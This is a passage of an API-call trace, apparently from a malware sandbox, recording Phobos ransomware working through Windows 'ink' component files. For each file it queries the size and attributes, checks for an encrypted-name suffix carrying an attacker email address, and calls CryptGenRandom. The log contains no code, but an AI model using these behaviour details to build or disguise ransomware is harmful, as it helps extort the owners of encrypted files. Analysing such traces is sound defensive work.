[0133.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.196] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.196] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=5120) returned 1 [0133.196] CloseHandle (hObject=0x2b4) returned 1 [0133.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0133.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.197] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.197] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2560) returned 1 [0133.197] CloseHandle (hObject=0x2b4) returned 1 [0133.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui")) returned 0x20 [0133.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.197] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.197] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=25088) returned 1 [0133.197] CloseHandle (hObject=0x2b4) returned 1 [0133.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0133.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.198] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.198] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=9728) returned 1 [0133.198] CloseHandle (hObject=0x2b4) returned 1 [0133.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0133.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.198] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.198] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=3584) returned 1 [0133.198] CloseHandle (hObject=0x2b4) returned 1 [0133.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0133.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.199] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.199] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10752) returned 1 [0133.199] CloseHandle (hObject=0x2b4) returned 1 [0133.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0133.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.199] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.200] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10752) returned 1 [0133.200] CloseHandle (hObject=0x2b4) returned 1 [0133.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20 [0133.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.200] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.200] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10752) returned 1 [0133.200] CloseHandle (hObject=0x2b4) returned 1 [0133.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0133.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.200] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.201] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10240) returned 1 [0133.201] CloseHandle (hObject=0x2b4) returned 1 [0133.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0133.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.201] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.201] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=804864) returned 1 [0133.201] CloseHandle (hObject=0x2b4) returned 1 [0133.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0133.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.202] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.202] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=11264) returned 1 [0133.202] CloseHandle (hObject=0x2b4) returned 1 [0133.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20 [0133.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.202] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.202] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=11264) returned 1 [0133.202] CloseHandle (hObject=0x2b4) returned 1 [0133.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0133.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.203] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.203] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=9728) returned 1 [0133.203] CloseHandle (hObject=0x2b4) returned 1 [0133.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0133.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.203] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.203] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10240) returned 1 [0133.204] CloseHandle (hObject=0x2b4) returned 1 [0133.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0133.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.204] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.204] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10240) returned 1 [0133.204] CloseHandle (hObject=0x2b4) returned 1 [0133.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0133.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.204] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.205] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=361472) returned 1 [0133.205] CloseHandle (hObject=0x2b4) returned 1 [0133.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0133.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.205] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 